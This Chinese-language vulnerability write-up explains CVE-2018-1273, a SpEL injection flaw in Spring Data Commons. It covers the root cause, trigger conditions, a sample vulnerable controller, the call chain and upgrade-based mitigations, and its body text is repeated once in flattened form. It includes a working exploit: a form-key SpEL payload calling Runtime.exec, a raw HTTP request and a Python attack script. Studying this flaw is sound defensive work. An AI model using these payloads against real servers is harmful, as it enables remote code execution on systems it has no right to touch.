Spring-data-commons(CVE-2018-1273)漏洞分析
字数 1577 2025-08-18 11:37:19

Spring-data-commons(CVE-2018-1273)漏洞分析与利用教学

漏洞概述

CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞,当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时,会将用户提交的form表单的key值作为Spel表达式执行,从而导致远程代码执行。

受影响版本

  • Spring Data Commons 1.13 至 1.13.10
  • Spring Data Commons 2.0 至 2.0.5

漏洞成因

漏洞的核心在于Spring在自动解析用户参数时使用了SpelExpressionParser来解析propertyName。具体流程如下:

  1. 当用户提交表单数据时,Spring会将表单的key值作为Spel表达式执行
  2. MapDataBinder.java的169行,表达式被解析并执行:
    Expression expression = PARSER.parseExpression(propertyName);
    // ...
    expression.setValue(context, value);
    

漏洞触发条件

配置条件

满足以下任一条件即视为开启了相关特性:

  1. 显式声明@EnableSpringDataWebSupport
  2. 使用Spring Boot框架的自动扫描特性(会自动加载SpringDataWebConfiguration类)
  3. 在非注解声明项目中,有以下XML配置:
    <bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />
    

代码条件

检查是否存在以下代码特征:

  1. 带有@RequestMapping注解的接口
  2. 方法的参数为一个自定义的接口(Interface)

示例靶子代码:

@SpringBootApplication
public class App {
    public static void main(String[] args) {
        SpringApplication.run(App.class);
    }
    
    @Controller
    public class TestController {
        @RequestMapping("test")
        public void CVEController(TestForm testForm) {
            System.out.println(testForm.getName());
        }
    }
}

interface TestForm {
    String getName();
}

漏洞利用

攻击原理

利用form表单提交的方式,在key名称中包含Spel表达式代码。例如,如果接口有一个getName()方法,可以构造如下攻击:

  1. 原始方法名:getName()
  2. 构造攻击key:name[T(java.lang.Runtime).getRuntime().exec("calc")]

攻击步骤

  1. 构建一个HTTP POST请求
  2. 使用form表单提交方式
  3. 在key名称中包含Spel表达式代码

攻击Payload示例

HTTP请求示例:

POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache

name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v

Python攻击脚本示例:

import http.client, urllib.parse

command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()

Spring Expression Language (SpEL) 基础

SpEL是Spring自带的表达式语言,具有以下特性:

1. 支持简单值

SpelExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration(false, true));
Expression exp = parser.parseExpression("'this is a value'");
System.out.println(exp.getValue()); // 输出: this is a value

2. 支持执行Java类方法

Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
System.out.println(exp.getValue()); // 返回一个随机数

3. 支持对象属性赋值

Expression exp = parser.parseExpression("name='set my value'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.name); // 输出: set my value

4. 支持数组操作

Expression exp = parser.parseExpression("list[0]='list value'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]); // 输出: list value

5. 支持表达式作为数组下标

Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
MockClass mockClass = new MockClass();
exp.getValue(mockClass);
System.out.println(mockClass.list[0]); // 输出: index is 0

6. 支持获取数组属性值

Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
MockClass mockClass = new MockClass();
System.out.println(exp.getValue(mockClass)); // 输出: 1

7. 执行恶意代码示例

Expression exp = parser.parseExpression("list[T(java.lang.Runtime).getRuntime().exec(\"calc\")]");
MockClass mockClass = new MockClass();
System.out.println(exp.getValue(mockClass)); // 执行计算器程序

漏洞调用链分析

  1. SpringDataWebConfiguration类特性启用时,会注册ProxyingHandlerMethodArgumentResolver到容器中
  2. Spring MVC处理请求时,会遍历所有HandlerMethodArgumentResolver
  3. 当参数是Interface时,ProxyingHandlerMethodArgumentResolver会返回true表示支持解析
  4. 解析过程中会创建MapDataBinder来解析参数
  5. MapDataBinder.bind()方法会调用doBind操作
  6. 最终调用setPropertyValue方法,执行expression.setValue(context, value)触发漏洞

防御措施

  1. 升级Spring Data Commons到安全版本:
    • 1.13.11及以上
    • 2.0.6及以上
  2. 避免在Controller中直接使用接口作为参数类型
  3. 对用户输入进行严格的过滤和验证

总结

CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能,通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。

Spring-data-commons(CVE-2018-1273)漏洞分析与利用教学 漏洞概述 CVE-2018-1273是Spring-data-commons中一个可远程执行代码的漏洞,当项目使用Spring-data的相关web特性对用户输入参数进行自动匹配时,会将用户提交的form表单的key值作为Spel表达式执行,从而导致远程代码执行。 受影响版本 Spring Data Commons 1.13 至 1.13.10 Spring Data Commons 2.0 至 2.0.5 漏洞成因 漏洞的核心在于Spring在自动解析用户参数时使用了 SpelExpressionParser 来解析propertyName。具体流程如下: 当用户提交表单数据时,Spring会将表单的key值作为Spel表达式执行 在 MapDataBinder.java 的169行,表达式被解析并执行: 漏洞触发条件 配置条件 满足以下任一条件即视为开启了相关特性: 显式声明 @EnableSpringDataWebSupport 使用Spring Boot框架的自动扫描特性(会自动加载 SpringDataWebConfiguration 类) 在非注解声明项目中,有以下XML配置: 代码条件 检查是否存在以下代码特征: 带有 @RequestMapping 注解的接口 方法的参数为一个自定义的接口(Interface) 示例靶子代码: 漏洞利用 攻击原理 利用form表单提交的方式,在key名称中包含Spel表达式代码。例如,如果接口有一个 getName() 方法,可以构造如下攻击: 原始方法名: getName() 构造攻击key: name[T(java.lang.Runtime).getRuntime().exec("calc")] 攻击步骤 构建一个HTTP POST请求 使用form表单提交方式 在key名称中包含Spel表达式代码 攻击Payload示例 HTTP请求示例: Python攻击脚本示例: Spring Expression Language (SpEL) 基础 SpEL是Spring自带的表达式语言,具有以下特性: 1. 支持简单值 2. 支持执行Java类方法 3. 支持对象属性赋值 4. 支持数组操作 5. 支持表达式作为数组下标 6. 支持获取数组属性值 7. 执行恶意代码示例 漏洞调用链分析 SpringDataWebConfiguration 类特性启用时,会注册 ProxyingHandlerMethodArgumentResolver 到容器中 Spring MVC处理请求时,会遍历所有 HandlerMethodArgumentResolver 当参数是Interface时, ProxyingHandlerMethodArgumentResolver 会返回 true 表示支持解析 解析过程中会创建 MapDataBinder 来解析参数 MapDataBinder.bind() 方法会调用 doBind 操作 最终调用 setPropertyValue 方法,执行 expression.setValue(context, value) 触发漏洞 防御措施 升级Spring Data Commons到安全版本: 1.13.11及以上 2.0.6及以上 避免在Controller中直接使用接口作为参数类型 对用户输入进行严格的过滤和验证 总结 CVE-2018-1273漏洞利用Spring Data Commons在参数绑定时的SpEL表达式解析功能,通过精心构造的请求参数实现远程代码执行。理解该漏洞的成因和利用方式对于开发安全的Spring应用程序至关重要。